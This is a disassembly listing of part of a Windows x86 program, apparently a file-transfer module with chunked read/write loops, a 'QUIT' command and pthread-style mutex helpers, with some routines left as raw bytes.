		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42E4A0	proc near		; CODE XREF: ___:0042E483p
					; ___:0042E703p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	ebx
		push	ebp
		xor	ebp, ebp
		push	esi
		push	edi
		mov	edi, [esp+14h+arg_10]
		cmp	eax, ebp
		mov	[esp+14h+var_4], 1
		jz	short loc_42E52A
		mov	esi, [esp+14h+arg_C]
		mov	cx, word_4456BC
		cmp	esi, 4
		mov	word ptr [esp+14h+arg_10], cx
		mov	word ptr [esp+14h+arg_10+2], bp
		jnz	short loc_42E4DA
		mov	byte ptr [esp+14h+arg_10], 72h


loc_42E4DA:				; CODE XREF: sub_42E4A0+33j
		cmp	edi, 49h
		jnz	short loc_42E4E4
		mov	byte ptr [esp+14h+arg_10+1], 62h


loc_42E4E4:				; CODE XREF: sub_42E4A0+3Dj
		lea	edx, [esp+14h+arg_10]
		push	edx
		push	eax
		nop
		call	near ptr 77C3F010h
		mov	ebx, eax
		add	esp, 8
		cmp	ebx, ebp
		jnz	short loc_42E544
		push	100h
		call	near ptr 77C1F2BCh
		nop
		mov	eax, [eax]
		push	eax
		nop
		call	near ptr 77C371FAh
		mov	ecx, [esp+1Ch+arg_8]
		add	esp, 4
		add	ecx, 44h
		push	eax
		push	ecx
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42E52A:				; CODE XREF: sub_42E4A0+19j
		mov	esi, [esp+14h+arg_C]
		cmp	esi, 4
		jnz	short loc_42E53B
		mov	ebx, dword_50FA84
		jmp	short loc_42E544
; ---------------------------------------------------------------------------


loc_42E53B:				; CODE XREF: sub_42E4A0+91j
		mov	edx, dword_50FA84
		lea	ebx, [edx+20h]


loc_42E544:				; CODE XREF: sub_42E4A0+57j
					; sub_42E4A0+99j
		mov	ecx, [esp+14h+arg_8]
		mov	edx, [esp+14h+arg_4]
		lea	eax, [esp+14h+arg_C]
		push	eax
		push	ecx
		push	edi
		push	esi
		push	edx
		call	sub_401F55
		add	esp, 14h
		test	eax, eax
		jnz	short loc_42E567
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42E567:				; CODE XREF: sub_42E4A0+BFj
		push	2000h
		call	near ptr 77C2C407h
		nop
		add	esp, 4
		cmp	esi, 4
		mov	edi, eax
		jnz	short loc_42E5DD
		mov	ebp, dword_50FAA4
		push	ebx
		push	2000h
		push	1
		push	edi
		call	ebp	; fread
		mov	esi, eax
		add	esp, 10h
		test	esi, esi
		jle	loc_42E633


loc_42E59A:				; CODE XREF: sub_42E4A0+11Fj
		mov	eax, [esp+14h+arg_C]
		push	eax
		push	esi
		push	edi
		call	sub_4021F3
		add	esp, 0Ch
		cmp	eax, esi
		jl	short loc_42E5C3
		push	ebx
		push	2000h
		push	1
		push	edi
		call	ebp	; fread
		mov	esi, eax
		add	esp, 10h
		test	esi, esi
		jg	short loc_42E59A
		jmp	short loc_42E633
; ---------------------------------------------------------------------------


loc_42E5C3:				; CODE XREF: sub_42E4A0+10Bj
		push	eax
		push	esi
		push	offset aShortWritePass ; "short	write: passed %d, wrote	%d\n"
		nop
		call	near ptr 77C4186Ah
		add	esp, 0Ch
		mov	[esp+14h+var_4], 0
		jmp	short loc_42E633
; ---------------------------------------------------------------------------


loc_42E5DD:				; CODE XREF: sub_42E4A0+DAj
		mov	ecx, [esp+14h+arg_C]
		push	ecx
		push	2000h
		push	edi
		call	sub_402248
		add	esp, 0Ch
		cmp	eax, ebp
		jle	short loc_42E633
		mov	esi, dword_50FA94


loc_42E5FA:				; CODE XREF: sub_42E4A0+17Dj
		push	ebx
		push	eax
		push	1
		push	edi
		call	esi	; fwrite
		add	esp, 10h
		test	eax, eax
		jbe	short loc_42E621
		mov	edx, [esp+14h+arg_C]
		push	edx
		push	2000h
		push	edi
		call	sub_402248
		add	esp, 0Ch
		cmp	eax, ebp
		jg	short loc_42E5FA
		jmp	short loc_42E633
; ---------------------------------------------------------------------------


loc_42E621:				; CODE XREF: sub_42E4A0+166j
		push	offset aLocalfileWrite ; "localfile write"
		nop
		call	near ptr 77C36DF2h
		add	esp, 4
		mov	[esp+14h+var_4], ebp


loc_42E633:				; CODE XREF: sub_42E4A0+F4j
					; sub_42E4A0+121j ...
		push	edi
		call	near ptr 77C2C21Bh
		nop
		push	ebx
		call	near ptr 77C3EEF6h
		nop
		mov	eax, [esp+1Ch+arg_0]
		add	esp, 8
		test	eax, eax
		jz	short loc_42E656
		push	ebx
		nop
		call	near ptr 77C40AB1h
		add	esp, 4


loc_42E656:				; CODE XREF: sub_42E4A0+1AAj
		mov	eax, [esp+14h+arg_C]
		push	eax
		call	sub_401BDB
		mov	eax, [esp+18h+var_4]
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_42E4A0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E6F0:				; CODE XREF: ___:0040169Fj
		mov	eax, [esp+0Ch]
		mov	ecx, [esp+8]
		mov	edx, [esp+4]
		push	41h
		push	2
		push	eax
		push	ecx
		push	edx
		call	sub_42E4A0
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E720:				; CODE XREF: ___:00401D2Fj
		sub	esp, 108h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		mov	ebx, [esp+110h]
		push	ebp
		push	esi
		push	edi
		mov	edi, ebx
		repne scasb
		not	ecx
		add	ecx, 6
		mov	ebp, 1
		cmp	ecx, 100h
		jbe	short loc_42E757
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------


loc_42E757:				; CODE XREF: ___:0042E74Aj
		movsx	eax, byte ptr [esp+124h]
		mov	edi, dword_50FA60
		push	eax
		lea	ecx, [esp+1Ch]
		push	offset dword_4454C4
		push	ecx
		call	edi	; sprintf
		mov	esi, [esp+134h]
		lea	edx, [esp+24h]
		push	esi
		push	32h
		push	edx
		call	sub_42D240
		add	esp, 18h
		test	eax, eax
		jnz	short loc_42E798
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------


loc_42E798:				; CODE XREF: ___:0042E78Bj
		push	ebx
		lea	eax, [esp+1Ch]
		push	offset dword_4456C8
		push	eax
		call	edi	; sprintf
		push	esi
		lea	ecx, [esp+28h]
		push	32h
		push	ecx
		call	sub_42D240
		add	esp, 18h
		test	eax, eax
		jz	short loc_42E7F4
		lea	edx, [esp+10h]
		lea	eax, [esp+14h]
		push	edx
		push	eax
		add	esi, 44h
		push	offset dword_4456C0
		push	esi
		nop
		call	near ptr 77C41B72h
		add	esp, 10h
		cmp	eax, 2
		jnz	short loc_42E7F4
		mov	ecx, [esp+120h]
		mov	edx, [esp+10h]
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		mov	[ecx], edx
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------


loc_42E7F4:				; CODE XREF: ___:0042E7B7j
					; ___:0042E7D8j
		xor	ebp, ebp
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E850:				; CODE XREF: ___:004013BBj
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		push	edi
		mov	edi, edx
		mov	ebx, 1
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 100h
		jbe	short loc_42E880
		pop	edi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E880:				; CODE XREF: ___:0042E875j
		push	esi
		push	edx
		lea	eax, [esp+10h]
		push	offset dword_4456D4
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	esi, [esp+128h]
		lea	ecx, [esp+18h]
		push	esi
		push	32h
		push	ecx
		call	sub_42D240
		add	esp, 18h
		test	eax, eax
		jnz	short loc_42E8BB
		xor	ebx, ebx
		pop	esi
		mov	eax, ebx
		pop	edi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E8BB:				; CODE XREF: ___:0042E8ABj
		mov	edx, [esp+118h]
		mov	eax, [esp+114h]
		add	esi, 48h
		push	edx
		push	esi
		push	eax
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		mov	eax, ebx
		pop	esi
		pop	edi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42E920	proc near		; CODE XREF: sub_4016A9j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch
arg_C		= dword	ptr  10h

		movsx	eax, [esp+arg_8]
		mov	ecx, [esp+arg_C]
		mov	edx, [esp+arg_4]
		push	eax
		mov	eax, [esp+4+arg_0]
		push	3
		push	ecx
		push	edx
		push	eax
		call	sub_42E4A0
		add	esp, 14h
		retn
sub_42E920	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E950:				; CODE XREF: ___:004016C7j
		movsx	eax, byte ptr [esp+0Ch]
		mov	ecx, [esp+10h]
		mov	edx, [esp+8]
		push	eax
		mov	eax, [esp+8]
		push	4
		push	ecx
		push	edx
		push	eax
		call	sub_42E4A0
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E980:				; CODE XREF: ___:00401492j
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 100h
		ja	short loc_42EA19
		mov	ebx, [esp+114h]
		or	ecx, 0FFFFFFFFh
		mov	edi, ebx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 100h
		ja	short loc_42EA19
		mov	esi, dword_50FA60
		push	edx
		lea	eax, [esp+10h]
		push	offset dword_4456EC
		push	eax
		call	esi	; sprintf
		mov	edi, [esp+124h]
		lea	ecx, [esp+18h]
		push	edi
		push	33h
		push	ecx
		call	sub_42D240
		add	esp, 18h
		test	eax, eax
		jz	short loc_42EA19
		push	ebx
		lea	edx, [esp+10h]
		push	offset dword_4456E0
		push	edx
		call	esi	; sprintf
		push	edi
		lea	eax, [esp+1Ch]
		push	32h
		push	eax
		call	sub_42D240
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42EA19:				; CODE XREF: ___:0042E9A1j
					; ___:0042E9BCj ...
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EA60:				; CODE XREF: ___:00401C67j
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42EA89
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42EA89:				; CODE XREF: ___:0042EA80j
		push	edx
		lea	eax, [esp+4]
		push	offset dword_4456F8
		push	eax
		call	near ptr 77C3F931h
		nop
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42D240
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42EAE0	proc near		; CODE XREF: sub_401D52j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+18h]
		test	eax, eax
		jnz	short loc_42EB19
		push	edi
		push	esi
		push	32h
		push	offset aQuit	; "QUIT"
		call	sub_42D240
		mov	eax, [esi+8]
		add	esp, 0Ch
		push	eax
		call	sub_436FA6
; ---------------------------------------------------------------------------
		mov	ecx, [esi+14h]
		mov	edi, dword_50FAC4
		push	ecx
		call	edi	; free
		push	esi
		call	edi	; free
		add	esp, 8
		pop	edi


loc_42EB19:				; CODE XREF: sub_42EAE0+Aj
		pop	esi
		retn
sub_42EAE0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EB30:				; CODE XREF: ___:0040219Ej
		push	edi
		mov	edi, [esp+8]
		test	edi, edi
		jnz	short loc_42EB40
		mov	eax, 16h
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_42EB40:				; CODE XREF: ___:0042EB37j
		push	1Ch
		call	near ptr 77C2C407h
		nop
		add	esp, 4
		test	eax, eax
		jnz	short loc_42EB56
		mov	eax, 0Ch
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_42EB56:				; CODE XREF: ___:0042EB4Dj
		mov	ecx, 1
		mov	dword ptr [eax+8], 0
		mov	dword ptr [eax+0Ch], 0
		mov	dword ptr [eax+10h], 0
		mov	[eax+14h], ecx
		mov	[eax+18h], ecx
		mov	dword ptr [eax], 0C4C0FFEEh
		mov	[edi], eax
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EBB0:				; CODE XREF: ___:00401514j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_42EBC9
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EBC9:				; CODE XREF: ___:0042EBC0j
		mov	eax, [esi]
		mov	dword ptr [eax], 0
		mov	ecx, [esi]
		push	ecx
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4
		mov	dword ptr [esi], 0
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EC00:				; CODE XREF: ___:004012D5j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		mov	eax, [esp+0Ch]
		jnz	short loc_42EC25
		test	eax, eax
		jz	short loc_42EC25
		mov	ecx, [esi]
		pop	esi
		mov	edx, [ecx+0Ch]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42EC25:				; CODE XREF: ___:0042EC14j
					; ___:0042EC18j
		mov	dword ptr [eax], 1
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EC50:				; CODE XREF: ___:004013ACj
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_42EC69
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EC69:				; CODE XREF: ___:0042EC60j
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_42EC7D
		cmp	eax, 1
		jz	short loc_42EC7D
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EC7D:				; CODE XREF: ___:0042EC6Fj
					; ___:0042EC74j
		mov	ecx, [esi]
		pop	esi
		mov	[ecx+0Ch], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42ECA0:				; CODE XREF: ___:0040150Fj
		mov	eax, 28h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42ECC0:				; CODE XREF: ___:00401825j
		mov	eax, 28h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42ECE0:				; CODE XREF: ___:00401348j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_42ECF9
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42ECF9:				; CODE XREF: ___:0042ECF0j
		mov	eax, [esi]
		mov	edx, [esp+0Ch]
		pop	esi
		mov	ecx, [eax+8]
		xor	eax, eax
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42ED20:				; CODE XREF: ___:004021E4j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_42ED39
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42ED39:				; CODE XREF: ___:0042ED30j
		mov	eax, [esi]
		mov	ecx, [esp+0Ch]
		pop	esi
		mov	[eax+8], ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42ED60:				; CODE XREF: ___:004019A1j
		mov	eax, [esp+4]
		mov	ecx, [eax]
		mov	eax, [esp+8]
		mov	edx, [ecx+18h]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42ED90:				; CODE XREF: ___:0040199Cj
		mov	eax, [esp+8]
		sub	eax, 0
		jz	short loc_42EDB2
		dec	eax
		jz	short loc_42EDA2
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_42EDA2:				; CODE XREF: ___:0042ED9Aj
		mov	eax, [esp+4]
		mov	ecx, [eax]
		xor	eax, eax
		mov	dword ptr [ecx+18h], 1
		retn
; ---------------------------------------------------------------------------


loc_42EDB2:				; CODE XREF: ___:0042ED97j
		mov	eax, 30h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EDD0:				; CODE XREF: ___:00401C08j
		push	ebx
		mov	ebx, [esp+8]
		push	esi
		push	edi
		test	ebx, ebx
		jz	loc_42EE6B
		mov	edi, [esp+18h]
		test	edi, edi
		jz	loc_42EE6B
		push	18h
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jz	short loc_42EE62
		mov	eax, [esp+14h]
		test	eax, eax
		jz	short loc_42EE10
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_42EE10
		mov	eax, [eax]
		jmp	short loc_42EE12
; ---------------------------------------------------------------------------


loc_42EE10:				; CODE XREF: ___:0042EE04j
					; ___:0042EE0Aj
		xor	eax, eax


loc_42EE12:				; CODE XREF: ___:0042EE0Ej
		mov	[esi+4], edi
		mov	[esi], edi
		lea	edi, [esi+10h]
		push	0
		push	eax
		push	edi
		mov	[esi+0Ch], eax
		mov	dword ptr [esi+8], 0
		call	sub_401C76
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42EE58
		push	eax
		mov	eax, [esi+0Ch]
		lea	ecx, [esi+14h]
		push	eax
		push	ecx
		call	sub_401C76
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42EE4F
		mov	[ebx], esi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42EE4F:				; CODE XREF: ___:0042EE47j
		push	edi
		call	sub_401686
		add	esp, 4


loc_42EE58:				; CODE XREF: ___:0042EE32j
		push	esi
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4


loc_42EE62:				; CODE XREF: ___:0042EDFCj
		pop	edi
		pop	esi
		mov	eax, 0Ch
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42EE6B:				; CODE XREF: ___:0042EDD9j
					; ___:0042EDE5j
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EEB0:				; CODE XREF: ___:004021E9j
		push	ebx
		push	ebp
		mov	ebp, [esp+0Ch]
		push	esi
		test	ebp, ebp
		push	edi
		jz	short loc_42EF18
		mov	esi, [ebp+0]
		test	esi, esi
		jz	short loc_42EF18
		lea	ebx, [esi+10h]
		mov	dword ptr [ebp+0], 0
		push	ebx
		call	sub_401686
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_42EF0E
		lea	eax, [esi+14h]
		push	eax
		call	sub_401686
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_42EEFF
		push	esi
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42EEFF:				; CODE XREF: ___:0042EEECj
		mov	ecx, [esi+0Ch]
		push	0
		push	ecx
		push	ebx
		call	sub_401C76
		add	esp, 0Ch


loc_42EF0E:				; CODE XREF: ___:0042EEDAj
		mov	eax, edi
		mov	[ebp+0], esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42EF18:				; CODE XREF: ___:0042EEBAj
					; ___:0042EEC1j
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EF50:				; CODE XREF: ___:00401799j
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		jz	loc_42F004
		mov	esi, [eax]
		test	esi, esi
		jz	loc_42F004
		push	ebp
		lea	ebp, [esi+8]
		push	edi
		push	esi
		mov	edi, [ebp+0]
		call	near ptr 2800C7Eh
		nop
		test	eax, eax
		jnz	short loc_42EF97
		mov	eax, [esi+4]
		cmp	eax, 1
		mov	[esi], eax
		jbe	short loc_42EFE4
		dec	eax
		push	eax
		lea	eax, [esi+edi*4+10h]
		push	eax
		call	sub_40204A
		add	esp, 8
		mov	esi, eax
		jmp	short loc_42EFE0
; ---------------------------------------------------------------------------


loc_42EF97:				; CODE XREF: ___:0042EF78j
		push	ebx
		call	sub_4012E4
; ---------------------------------------------------------------------------
		mov	ecx, [eax+34h]
		mov	ebx, 1
		cmp	ecx, ebx
		jnz	short loc_42EFBB
		lea	ecx, [esp+14h]
		push	ecx
		push	ebx
		call	sub_40140B
; ---------------------------------------------------------------------------
		add	esp, 8
		test	eax, eax
		jz	short loc_42EFBD


loc_42EFBB:				; CODE XREF: ___:0042EFA7j
		xor	ebx, ebx


loc_42EFBD:				; CODE XREF: ___:0042EFB9j
		lea	edx, [esi+edi*4+10h]
		push	edx
		call	sub_401041
		add	esp, 4
		mov	esi, eax
		test	ebx, ebx
		pop	ebx
		jz	short loc_42EFE0
		mov	eax, [esp+10h]
		push	0
		push	eax
		call	sub_40140B
; ---------------------------------------------------------------------------
		add	esp, 8


loc_42EFE0:				; CODE XREF: ___:0042EF95j
					; ___:0042EFCFj
		test	esi, esi
		jnz	short loc_42EFFE


loc_42EFE4:				; CODE XREF: ___:0042EF82j
		mov	ecx, 1
		push	edi
		sub	ecx, edi
		push	ecx
		push	ebp
		call	dword_50E3BC	; InterlockedCompareExchange
		xor	edx, edx
		cmp	edi, eax
		setnz	dl
		dec	edx
		mov	esi, edx


loc_42EFFE:				; CODE XREF: ___:0042EFE2j
		pop	edi
		mov	eax, esi
		pop	ebp
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F004:				; CODE XREF: ___:0042EF57j
					; ___:0042EF61j
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F040:				; CODE XREF: ___:00401F50j
		push	esi
		push	4
		push	1
		xor	esi, esi
		call	near ptr 77C2C0C3h
		nop
		add	esp, 8
		test	eax, eax
		jnz	short loc_42F063
		mov	edx, [esp+8]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42F063:				; CODE XREF: ___:0042F052j
		mov	ecx, [esp+8]
		mov	dword ptr [eax], 0
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F090:				; CODE XREF: ___:00401A73j
		mov	ecx, [esp+4]
		push	esi
		xor	esi, esi
		test	ecx, ecx
		jz	short loc_42F0B1
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_42F0B1
		push	eax
		mov	[ecx], esi
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F0B1:				; CODE XREF: ___:0042F099j
					; ___:0042F09Fj
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F0D0:				; CODE XREF: ___:0040127Bj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_42F0ED
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_42F0ED
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_42F0ED
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42F0ED:				; CODE XREF: ___:0042F0D6j
					; ___:0042F0DCj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F110:				; CODE XREF: ___:0040162Cj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_42F13A
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_42F13A
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_42F12E
		test	eax, eax
		jnz	short loc_42F13A
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_42F12E:				; CODE XREF: ___:0042F125j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_42F13A:				; CODE XREF: ___:0042F116j
					; ___:0042F11Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42F150	proc near		; CODE XREF: sub_40140Bj
		push	esi
		push	edi
		call	sub_4012E4
sub_42F150	endp

; ---------------------------------------------------------------------------
		db 8Bh
		dd 74F685F0h, 247C8B7Bh, 74FF850Ch, 1FF8305h, 8D536E75h
		dd 0E8532C5Eh, 0FFFD30B1h, 1824448Bh, 8504C483h, 8B0574C0h
		dd 889304Eh, 7E89FF85h,	8B3E7530h, 0C0853446h, 568B3775h
		dd 0E8525738h, 23D17A2h, 75C08590h, 38468B28h, 30C46C7h
		dd 50000000h, 13046C7h,	0E8000000h, 23D18E9h, 4E85390h
		dd 6AFFFD1Fh, 2C0EE802h, 0C483FFFDh, 0F4E85308h, 83FFFD1Eh
		dd 0C03304C4h, 0C35E5F5Bh, 16B85Fh, 0C35E0000h,	0Ch dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_42F210:				; CODE XREF: ___:0040223Ej
		push	ebx
		push	esi
		call	sub_4012E4
; ---------------------------------------------------------------------------
		db 8Bh
		dd 74F685F0h, 245C8B7Bh, 1FB830Ch, 0DB850474h, 8D576E75h
		dd 0E8572C7Eh, 0FFFD2FF1h, 1824448Bh, 8504C483h, 8B0574C0h
		dd 889344Eh, 8930468Bh,	0C085345Eh, 0DB853B75h,	568B3775h
		dd 90525338h, 3D16E1E8h, 75C08502h, 38468B28h, 30C46C7h
		dd 50000000h, 13046C7h,	0E8000000h, 23D1829h, 44E85790h
		dd 6AFFFD1Eh, 2B4EE802h, 0C483FFFDh, 34E85708h,	83FFFD1Eh
		dd 0C03304C4h, 0C35B5E5Fh, 16B85Eh, 0C35B0000h,	0Ch dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42F2D0	proc near		; CODE XREF: sub_401CEEj
		push	esi
		push	edi
		call	sub_4012E4
sub_42F2D0	endp

; ---------------------------------------------------------------------------
		db 8Bh
		dd 2C7E8DF0h, 2F43E857h, 0C483FFFDh, 74F68504h,	307E8334h
		dd 8B2E7401h, 6A3846h, 1644E850h, 8590023Dh, 571E75C0h
		dd 30C46C7h, 0C7000000h, 13046h, 0B0E80000h, 6AFFFD1Dh
		dd 2ABAE802h, 0C483FFFDh, 0A0E85708h, 83FFFD1Dh, 5E5F04C4h
